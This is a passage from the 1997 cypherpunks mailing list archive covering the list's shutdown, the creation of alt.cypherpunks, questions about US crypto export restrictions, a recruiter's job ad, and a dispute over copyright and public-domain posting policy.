> social pressures by others in the 'community' of the list, and not by
> policies of the list operators.

Which is, again, a perfectly fine idea.

I would probably disconnect from any server that 

a) does not let certain messages go through (unless they are fighting a DOS
attack) and
b) Alters content of any messages.


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 19:28:14 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702140328.TAA18503@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

John Pearson <john@cognac.apana.org.au> writes:
> In this case, the people you have to convince are the news admins who must
> permit your control message to be honoured; time was most sites ran on
> autopilot, but joke and badly-named groups mean that most news admins
> now drop most newgroup messages on the floor.  These people hang out in
> alt.config, and you should propose the group's creation there, followed
> by a couple of weeks of discussion, hopefully featuring many more 
> supportive messages than non-supportive ones.  After that, a newgroup 
> message stands a much better chance.

alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
consiencous newsadmins probably did not honor the rmgroup, as
alt.cypherpunks should be acceptable, but most newsadmins are too
overworked to actually look at most of the crap that comes through.
For example, it hasn't received any messages on my news server,
probably because the one upstream removed it. 

Therefore, it would be a Good Thing to continue any discussion on
alt.config, and convince any cabal'ers who rmgroup it to re-new it.
Sending out boosters every couple of weeks wouldn't hurt, either. 

alt.cypherpunks'less,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 19:56:26 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
Message-ID: <199702140356.TAA19306@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

anand abhyankar <anand@querisoft.com> writes:
> i am a bit confused. what exactly are the us govt crypto regulations.

Hard to tell, really...

> what i mean is that :

Oh, this is one of those easy questions!

> 1) is it illegal to develop an encryption tool (s/w) in the US which
> uses > 40 bit size session keys and then export that s/w outside of the
> US.

Yes.

> 2) is it illegal to encrypt some data inside the us with a key > 40 bit
> in size and then send that data outside the US.

No.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Fri, 14 Feb 1997 06:59:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702141459.GAA07338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu

The Netly News Network
http://netlynews.com/

A List Goes Down In Flames
by Declan McCullagh (declan@well.com)
February 12, 1997
   
       The plan for the cypherpunks mailing list was simple. It was to be
   an online gathering place, an intellectual mosh pit, dedicated to the
   free flow of ideas and personal privacy through encryption.
   
       Of course it caught on. From its modest beginnings connecting a
   few friends who lived in Northern California, it quickly grew into one
   of the most rowdy, volatile lists on the Net: Cypherpunks typically
   piped more than 100 messages a day into the mailboxes of nearly 2,000
   subscribers. And the list became a kind of crypto-anarchist utopia.
   Populated by pseudonymous posters with names like Black Unicorn, it
   was a corner of cyberspace where PGP signatures and digital cash were
   the norm -- and there were no rules. Then yesterday came the news: The
   list was being evicted and faced imminent shutdown.
   
       In an e-mail seen 'round the Net, John Gilmore, Electronic
   Frontier Foundation cofounder and list maintainer, announced that he
   was no longer willing to provide a virtual home for the cypherpunks.
   In a post entitled "Put Up or Shut Up," he described how his efforts
   to improve the list through moderation were condemned, how technical
   problems were consuming more of his time, how pranksters had tried to
   subscribe the entire U.S. Congress to the list. How this experiment in
   crypto-anarchy had failed. He gave the cypherpunks 10 days to find new
   lodgings.
   
       "The last straw for me was seeing the reaction of the list to
   every attempt to improve it. It was to carp, to cut it down, to say
   you're doing everything wrong," Gilmore told me yesterday night. One
   of the first employees of Sun, Gilmore quit after eight years -- a
   millionaire more interested in pursuing ideas than dollars. But his
   experiment with the list has left him weary. "If everything I'm doing
   is wrong, I'm clearly not the right person to host the list," he said.
   
       "I would like to see some other structure in which the positive
   interactions on the list could continue. I'm not trying to create that
   structure anymore," he added. Instead, he would try the only true
   crypto-anarchist solution: "I'm handing it over to members to do what
   they wish with it."
   
       The cypherpunks first pierced the public's consciousness when
   Wired magazine splashed them across the cover of the second issue. The
   Whole Earth Review and the Village Voice followed soon after. The name
   "cypherpunk" came to be synonymous with a brash young breed of
   digerati who were intent on derailing the White House's encryption
   policies and conquering cyberspace. This was crypto with an attitude.
   
       Gilmore was typical of the breed. Monthly Bay Area meetings of the
   'punks were held in the offices of Cygnus, a company he started to
   provide support for the free Unix alternative, GNU.
   
       But the veteran cypherpunk came under heavy fire in November 1996,
   when a loudmouthed flamer flooded the list with flame bait and ad
   hominem attacks on various members. Finally, Gilmore, ironically, gave
   him the boot -- and incited an all-consuming debate over what the
   concept of censorship means in a forum devoted to opposing it. In a
   society of crypto-anarchists, who should make the rules? The mailing
   list melted down. By last month, it seemed, more messages complained
   about censorship than discussed crypto.
   
       Indeed, for months Gilmore seemed unable to do anything right. He
   tried moderation, which proved to be even more contentious, raising
   the question of empowering one cypherpunk to decide what was
   appropriate for others to read. One member of the group, in effect,
   would be more equal than the rest. And why would members take the time
   to write elaborate, thoughtful articles on crypto-politics if their
   treatises might not make it past the moderator's keyboard?
   
       After the expulsion, some of the longtime list denizens left
   angrily, joining the 700 subscribers who had departed since the
   controversy began. One of those was Tim C. May, a crusty former Intel
   engineer who prides himself as the organizer of the first cypherpunk
   meeting in September 1992. In an essay summarizing the reasons for his
   departure, he wrote: "The proper solution to bad speech is more
   speech, not censorship. Censorship just makes opponents of 'speech
   anarchy' happy -- it affirms their basic belief that censors are
   needed."
   
       After all, May pointed out, the list ended up on Gilmore's
   toad.com machine only by happenstance -- it almost was housed on a
   workstation at the University of California at Berkeley. Ownership of
   the computer with the database of subscribers did not mean that
   Gilmore owned the cypherpunks. "Whatever our group once was, or still
   is, is not dependent on having a particular mailing list running on
   someone's home machine... and it cannot be claimed that any person
   'owns' the cypherpunks group," May wrote.
   
       The cypherpunks have responded to Gilmore's eviction notice. List
   participants generally have halted the incessant attacks on Gilmore,
   and now the discussion has turned to how to continue this experiment
   in online anarchy -- while preventing one person from ever again
   having absolute control of the List. Within hours of Gilmore's
   announcement, posters were tossing around ideas of a distributed
   network of mailing lists that would carry the cypherpunk name, and
   other 'punks likely will migrate to the more tightly controlled
   coderpunks and cryptography lists.
   
       But for the true believers in crypto-anarchy, only one solution is
   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
   precedent... for halting distribution of Usenet newsgroups," Tim May
   wrote. That, in the end, is what defines a cypherpunk.
   
###





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 13 Feb 1997 22:11:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702140611.WAA23316@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Blatz writes:

> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.
> For example, it hasn't received any messages on my news server,
> probably because the one upstream removed it. 

I haven't seen any rmgroups for alt.cypherpunks.  Paul Bradley's
newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos'
newgroup made it onto the Net, and was reposted the next day by 
usenet@news.myriad.ml.org.

Meanwhile, Paul Bradley seems to have finally figured out newgrouping
and has created...

        alt.cypherpunks.announce
        alt.cypherpunks.social
        alt.cypherpunks.technical

and, of course...

        alt.fan.paul.bradley

The latter has been rmgrouped because it was not discussed in 
alt.config. 

I might suggest that deliberately tweeking the whiskers of the Cabal by
gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 06:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702141456.GAA07195@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:51 AM -0800 2/14/97, anand abhyankar wrote:
>Jeremiah A Blatz wrote:
>
>thanx for ur answer but then i have another question.
>
>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.

There are no import restrictions at this time. The IDEA cipher, for
example, was developed in Europe and U.S. developers can import it and put
in products.

However, once imported it becomes controlled for export again!

Also, it may be a violation of the EAR regs to deliberately seek to bypass
the export laws by arranging for foreign development of a module which is
then "dropped in" when the product is shipped outside the U.S. It may also
be illegal to include "software hooks" for crypto modules to be attached to.

Exactly how far one can go, or what it might take to trigger a government
prosecution for such actions, is unclear. The laws are not very precise,
and court precedents are lacking.

(There are many wrinkles here; you seem to have a lot of questions, which
is good. However, it is best for you to read a comprehensive article on
these issues--use a Web search engine to find the latest versions.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Thu, 13 Feb 1997 20:56:17 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702140456.UAA21155@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz <jer+@andrew.cmu.edu> wrote:

> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.
> For example, it hasn't received any messages on my news server,
> probably because the one upstream removed it. 

Seems I'm getting alt.cypherpunks.announce (empty), but not
alt.cypherpunks or any of the others that show up as newgroup'ed on
Deja News...  Are they alive and well elsewhere? 

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Fri, 14 Feb 1997 06:57:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Want a job as a Crypto Researcher or Research Scientist?
Message-ID: <199702141457.GAA07301@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I can't vouch for any of it, and I have my doubts about any company
that decides whether you're a "Scientist" based on whether you have a
PhD, but I thought it might put a cypherpunk in a position to do some
good:

Date: Thu, 13 Feb 1997 13:30:52 -0700
From: dnne <dnne@enol.com>
Subject: CRYPTO RESEARCHER OR SCIENTIST

John,

I would greatly appreciate your recommendation.  I am trying to fill a
RESEARCHER and a RESEARCH SCIENTIST position for a leading East Coast
developer of encryption technology for the computer industry.

RESEARCHERS will work in conjunction with Research Scientists on
research projects covering all aspects of cryptography--from
algorithms, to protocols, to implementation.  RESEARCHERS also provide
technical support to software developers and to the company customers
through consulting and educational activities.

RESEARCHERS should have at least a B.S. and preferably an M.S. in
computer science, mathematics, or a closely related field. Solid
exposure to cryptography either through practical experience or within
academic pursuits is highly desirable.

RESEARCH SCIENTIST candidates should have a Ph.D. or equivalent
research experience in cryptography.

This company provides a very competitive compensation and benefits
package as well as company paid relocation benefits.

Thanks,

Dan Barrus
Senior Technical Recruiter
Cutting Edge Technologies
Voice:  800-881-7212
Fax:  801-373-3024






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 14 Feb 1997 06:56:28 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
Message-ID: <199702141456.GAA07231@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:20 AM 2/14/97 -0800, anand abhyankar wrote:
>1) is it illegal to develop an encryption tool (s/w) in the US which
>uses > 40 bit size session keys and then export that s/w outside of the
>US.

Yes, that's illegal, unless you get permission for the export. Getting
permission requires jumping through many hoops, and is far from a sure thing.
(It's easier to count on not getting permission. You almost certainly won't
get permission if you want to use >40 bits and you're not going to force your
customers to share their keys with the government.) 

Consequently, the US is a bad place to write crypto software if you want to
make it available worldwide. 

>2) is it illegal to encrypt some data inside the us with a key > 40 bit
>in size and then send that data outside the US.

Data which may be exported as plaintext may be exported as ciphertext. Data
which may not be exported as plaintext may not be exported as ciphertext. But
in the latter case, it's harder to catch you. :) 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 13 Feb 1997 12:11:16 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: N.Y. judge rules for Planned Parenthood in web site case
Message-ID: <199702132011.MAA10147@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*** N.Y. judge rules for Planned Parenthood in web site case

A federal judge has temporarily stopped an abortion foe from
identifying his web site as belonging to Planned Parenthood and
selling an anti-abortion book from that home page. The temporary
restraining order, issued Wednesday, stops Richard Bucci from
identifying his home page as "Planned Parenthood's Home Page" and
using "plannedparenthood.com" as a domain name. Planned Parenthood,
which has its own web site, sued Bucci for trademark infringement. The
next hearing is slated for Feb. 20. For the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 13 Feb 1997 11:58:38 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: CompuServe reports e-mail court victory
Message-ID: <199702131958.LAA09862@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*** CompuServe reports e-mail court victory

CompuServe, after winning a court decision making unauthorized junk
e-mail illegal, responded Thursday to a report that Cyber Promotions,
Inc., a commercial mass e-mailer, would not accept a federal court's
halting of its spamming activities directed against CompuServe
subscribers. Cyber Promotions indicated that it would appeal the
decision, which follows the settlement of a similar suit. That
settlement allows Cyber Promotions to send junk e-mail to another
Internet service provider's members. CompuServe said its goal "was to
see this through to a binding court decision." For the full text
story, see http://www.merc.com/stories/cgi/story.cgi?id=1425511-f29

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leonard Janke <janke@unixg.ubc.ca>
Date: Fri, 14 Feb 1997 06:58:06 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702141458.GAA07309@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> [...] 
> Given that _political_ discussions of crypto are now encouraged in
> _talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think
> political and social essays dealing with crypto anarchy, offshore
> databases, undermining governments, etc., will be welcome in the "comp"
> hierarchy?
> 
> I rather doubt it. And I would bet that if comp.org.cypherpunks is ever
> approved, those who dislike crypto anarchy and sociopolitical chatter will
> use the "comp" name to try to suppress such discussions.
> [...]

I think that the statement of our desire to create a new group
should clearly indicate that the discussion
group is of a special nature due to the tight integration of
technical and political discussions. Cypherpunks are trying to achieve 
political goals through technological means, so it is difficult, and
not regarded as desirable to produce a false dichotomy for discussions. 
As an example, we could cite the Linux newsgroups like comp.os.linux.misc. 
Linux is a piece of software written
to help achieve a political goal, and, thus, in the Linux groups
it is not considered off-topic to philosophize about
these goals or the future as and after Linux knocks Microsoft out of
the market. :)

talk.politics.crypto and sci.crypt can, then, easily be argued 
against since the discussions there are much more 
restricted than what we desire.

> [...] You really think whoever is spamming the list with ASCII art and
> broke into Paul's account to post hundreds of "John Gilmore is a
> cocksucker" posts will back off because of the "dedication" of some? To the
> perverse personality, this is merely a greater challenge and temptation.
> [...] 
 
Given that you have been on the list a great deal longer than
I, I do respect that you may have deeper insights into the
mind of the "perverse personality" than I do. I, however, am
not aware of evidence that the person or persons behind the
disruptions since the middle of last year would try to interrupt
a democratic USENET creation vote. My recollection of the
history is that the initial attacks were directed at you personally.
Dr. Vulis was blamed for them and thus, apparently, became
the target of nasty e-mailings to his site. He responded to
this by spamming the list with rather large articles
on Armenian war crimes and forwardings of the messages. At that point 
Gilmore booted Vulis.
Gilmore then became a target of attack and, it seems
that many (presumably) innocent bystanders were unwittingly
subscribed to the list in an effort to cause more
work, and, hence, annoyance to Gilmore when they complained
about the unwanted mail. At this point many new personalities
seemed to materialize out of nowhere bent on doing
nothing more than fueling flame wars. Then the "moderation 
experiment" (fiasco)... I do not see in this evidence, however, that
any of the disruptors would target the process of the
creating a new group USENET group. At first, the
the disruptor could easily have rationalized that anonymous, personal
attacks were fair play, since anarachists favour no explicit rules
with regards to speech. After Vulis was removed by Gilmore
the disruptor could then rationalize that "anything goes" since
list had then passed from a state of anarchy to one with
Gilmore trying to decide who could or not be on the list.
(I do not think that these conjectued rationalizations are valid
myself, but am just trying to give an my thoughts on the
psychology of the "perverse personality".)

USENET nesgroup creation is whole new ball game, however.
There are explicitly defined rules and the process
is intended to be democratic. If my guess as to the identity of the 
person masterminding the  attacks is correct, that person seems to have
democratic sympathies or, at least, be strongly opposed to even
hints of censorship, so I do not think he would attempt
to disrupt the process of deciding if a new group
is created or not since that would both be inferring
in a democratic process and an attempt to prevent
a group of people from creating a discussion group, and thus, himself,
becoming a censor.  (This makes me think that given that the process is 
intended to be democratic, it may be more fitting that
a more anarchisticly method is used to create
an "alt.*" group for cyphepunks than the democratic one
used to create a "comp.*" one.)

In any case, if you have deeper insights than mine into the mind of
the disruptor, or evidence that he or she or them would
try to disrupt a comp.* newsgroup creation proces, I
would be eager to hear them.

Leonard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Philipp <adam@rosa.com>
Date: Fri, 14 Feb 1997 06:56:07 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: Re: crypto restrictions
Message-ID: <199702141456.GAA07172@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:51 AM 2/14/97 -0800, anand abhyankar wrote:
>Jeremiah A Blatz wrote:
>
>thanx for ur answer but then i have another question.
>
>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.
>
>anand....
>

Not under US law... 

-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 06:41:29 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
Message-ID: <199702141441.GAA06709@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

anand abhyankar <anand@querisoft.com> writes:
> Jeremiah A Blatz wrote:
> 
> thanx for ur answer but then i have another question.
> 
> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.

It's legal in the US, but other countries have export restrictions,
too. They're usually pretty hard to find out about, especially
considering that the people who passed the laws don't have a clue what
the law means.

Your best place to check is the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm
The disclamer states that the findings may not be "exaustive or
legally reliable," and given the opacity of crypto laws, you'd better
belive it. That said, it is an excellent resource.

cypherpunks newbie patrol,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 14 Feb 1997 06:56:01 -0800 (PST)
To: Pete Capelli <pete@ubisg.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702141456.GAA07155@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Pete:
> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
> pay for my Internet access, then be bombarded by spam, no matter what
> they paid me!  I think the best soln. is the one that is currently in
> place for phone calls - they can call once, but if I tell them not to
> call me again and they do, I can then begin legal action against them. 
> I pay more per month for my phone service than my Internet service (
> although in NY, *everything* is more expensive. ), and junk phone calls
> are way more intrusive then spam.

	I figure if this scheme comes to fruition, I'll just set up a seperate
account (or procmail) to filter out the spam, deposit the coin, and go on
about my business.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 14 Feb 1997 06:56:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702141456.GAA07230@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 02:08:21 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Private property & the cypherpunks list(s)


> Jim Choate wrote:
> 
> > Please explain how making submissions de facto public domain censors
> > anyone?
> 
> What the fuck is "de facto public domain"? It's public domain, or it's
> not. 

The same thing as the current 'de facto copyright'. It's copyrighted or it's
not. What's your point here?

> Your scheme imposes a cost (loss of intellectual property rights)
> against authors who would like to make themselves heard.

I am taking intellectual property rights from nobody. If anything I am
giving unlimited intellectual rights to the material to humankind for
posterity. Sorta cypherpunkish, don't you think?

> It also
> prevents a certain class of messages (those messages whose status is
> "copyright claimed") from being distributed.

Completely untrue. What it does is say "anything published which does not
explicity have a copyright related statement on it is public domain". If you
want to keep rights to it, that is fine. Just tell 'em that up front. The
actual cost to those of us who feel that statements made in such a forum as
this are inherently intended for the betterment of mankind, and therefore
a priori copyright is not in the best interest of distribution of those
ideas, is no different than the cost under defacto copyright to use fair
use headers for public domain material.

I believe that such an approach would be economicaly helpful as well. It
would provide a market for collecting, organizing, and distributing the
content of such material for wider distribution. Under the current standard
a small business which wanted to connect to the network, archive the
material, catalog it, package it, and distribute it would technicaly have to
contact the 1,000+ members and get their specific fair use contracts
resolved. This way there is nothing to resolve, if there is a copyright
notice and doesn't specificaly permit such use that message would be
dropped. The rest would be available for wider distribution and storage.

> Further, your suggestion
> that posters be required to include a "fair use header" is compelled
> speech.

So is requiring me to post a "fair use header" if I want my material public
domain by default. You call it 'tomatoe', I call it 'tomahto'. It comes down
to what is best for society and what 'best' means. If best in your book
equals 'maximize profit potential' then the current standard is best. If,
however, your definition is 'spread the idea as far and wide as possible,
may it flourish and have many offspring' then we need to go back to the old
standard.

> That's three flavors of "censorship" right there. I thought that the new
> list(s) were supposed to allow anyone to say anything they wanted. 

None of these qualify as censorship, I am not applying anything to 
anyone that is not being currently applied now. I am only taking the
alternate tack, which was the legal tact until mid-80's.

> (Does "no fair use" count as a "fair use header"? It's not legally
> enforceable, but it seems like the easiest way to specify "minimum fair
> use required by law". If not, are you planning to moderate the list to
> make sure that people use only approved fair use headers? Hmm.) 

No need to moderate the list, it does it for me. I don't do anything with
the messages, simply let them come and go. Those with no header would be
fair game for anyone to use for any purpose they chose. I would hold that
your position of implied copyright is a censorship because it prohibits
persons from using the material without the authors permission (and probably
paying a fee, economic censorship).

Cypherpunkish? I think not. Mercenary, could be.

> Even if the "copyright abandonment by implication" trick works (and I
> suspect it will not,

It certainly did until the mid-80's. It certainly is no more of a trick
than the forcing of copyright on those who don't want it.

> given that an assignment or transfer of copyright
> must be in writing, 17 USC 204;

And I hold that the submission of a subscription request and the acceptance
of the subscription notice conditions received as a reply qualify as that
written transfer. If they are unacceptable unsubscribe, which is described
in detail in the same subscription notice that details the conditions of
access.

> and abandonment is essentially an
> assignment or transfer to the public domain), it will not apply to all
> text sent to the list.

A good thing.

> A person cannot abandon or assign something they
> do not have; so if someone sends a message to the list which contains
> text whose copyright is held by a third party, that copyright will still
> be valid. 

That is a good thing. A person should not harm another or their property
without their prior permission.

> So what you've got is a list where you can't be sure that its contents
> are public domain, and a draconian rule requiring authors to give up
> their rights to what they've written.

I have not required anyone to give up anything. All I have required is that
authors specificaly state that they want to retain rights to the document.
This is no more draconian than requiring a person to write a public domain
release on their text if that is their choice.

What we have now is a list where the messages come flying across my screen
and I can't use them anywhere else unless I go and get somebodies permission
first. Is that freedom of speech? Freedom of the press? Sounds more like
economic strangulation of technological and social progress and the
hindering of the spreading of knowledge.

> Do you imagine that all of the many-majordomo servers will implement
> your "public domain only" rule, or only yours? 

No, the point was that different servers could have different policies. That
hypothesis is now thoroughly proved wrong. We also now have clear evidence
that at least some of the Cypherpunk ideals are not real-world. What we have
now is the imposition of these implicit regulations across all the
remailers, in some cases against their will. This is not compromise but
rather capitulation through duress. Implicit copyright is censorship.

This realization is the reason that I dropped it for the cypherpunks list.
It was clear that pressing for server-dependant policies was not tenable.

> If the rule is intended to apply to all servers, and servers aren't
> going to be allowed into the network

I am amazed at your ability to construe things that were never stated, let
alone implied. I was under the impression that a variety of access policies
and various filtering schemes was one of the stated goals.

I also feel you give me entirely too much credit and not enough to Igor,
firebeard, and others who are involved. Whether you know it or not, they are
not straw men nor pseudonyms that I employ.

> without agreeing to implement it
> locally, um, tell me again about that "free speech" thing? Aren't you
> just taking advantage of your position as a person working on the
> many-majordomos project to impose your ideas about intellectual property
> on the rest of the list? Is such a strategy compatible with "free
> speech"? 

No more so than the imposition of copyright to hinder the free and unbridled
exchange of ideas.

> Also, how could a rule like this possibly be compatible with a Usenet
> gateway? There's no chance at all that you can expand a local rule on
> your system to all of Usenet through a gateway. 

A very good argument on why in our current system de facto copyright actualy
hinders free exchange of ideas. Thanks, I hadn't thought of that aspect.

> And Declan McCullagh wrote:
> 
> >I forward articles to cypherpunks that are copyrighted by my employers, or
> >magazines like Playboy and Wired for which I write freelance pieces. 
> >
> >I like to think these articles have some value. I will not forward any of
> >them, nor would I be able to, if they magically became "public domain."
> 
> Which are good points

Strawman arguments to cover the motives of profit driving them. I suspect
that if the magazine (who probably own the actual copyright) agreed to allow
them to be presented in total before posting would require that some sort of
explicit copyright notice be retained. I am shure the articles have some
value, a check was written for them at some point I believe.

> - also, don't forget that, from time to time,
> people have even posted code to the cpunks list, and many software
> authors like to retain copyright in their code so that they can insist
> on things like noncommercial distribtion or credit where the code is
> reused. If a work is truly "public domain", the author has no power to
> insist on those things. 

Certainly they do, put the statement in the code header - just like any
programmer with a clue is going to do now. All I am asking is that you give
me a fair shot at figuring out what you individualy want done with your
material when I see it. Should I save it for later use or simply shit-can it
because I don't want to deal with the hassle of getting permission.
Currently I shit-can just about everything for this reason unless it has
some sort of technical chart or table I can re-arrange or is related to
Advanced Squad Leader or Traveller. Does that sound like the ideal atmosphere
to expand knowledge? Is that how you want your ideas and commentary to end up?

Hell, under the current system I take a completely unwarranted risk if I do
nothing more than print out your email and then show it to somebody else.
Why? Because I don't know before hand whether that is ok with you or do you
really want to retain distribution rights. To be completely safe I need to
email you and ask permission to do that. Unacceptable restraint of speech.
The only option that leaves me is no speech because I can't afford it. Not
very cypherpunkish.

> This proposed rule seems to limit postings to those which are perceived
> by their authors to be without commercial or reputational value. Is that
> a good idea?

Not if that was what was proposed here, fortunately reality bears no
resemblance to your interpretation.

What I really find interesting is that in the 3 years SSZ has been up and
the 8 mailing lists (with about 300 subscribers total) nobody has ever
complained about the public domain policy and nobody has ever put a
copyright header on their messages. All these lists are technical and
several of them are directly involved with technical development of
projects, some for commercial apps.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Fri, 14 Feb 1997 07:12:37 -0800 (PST)
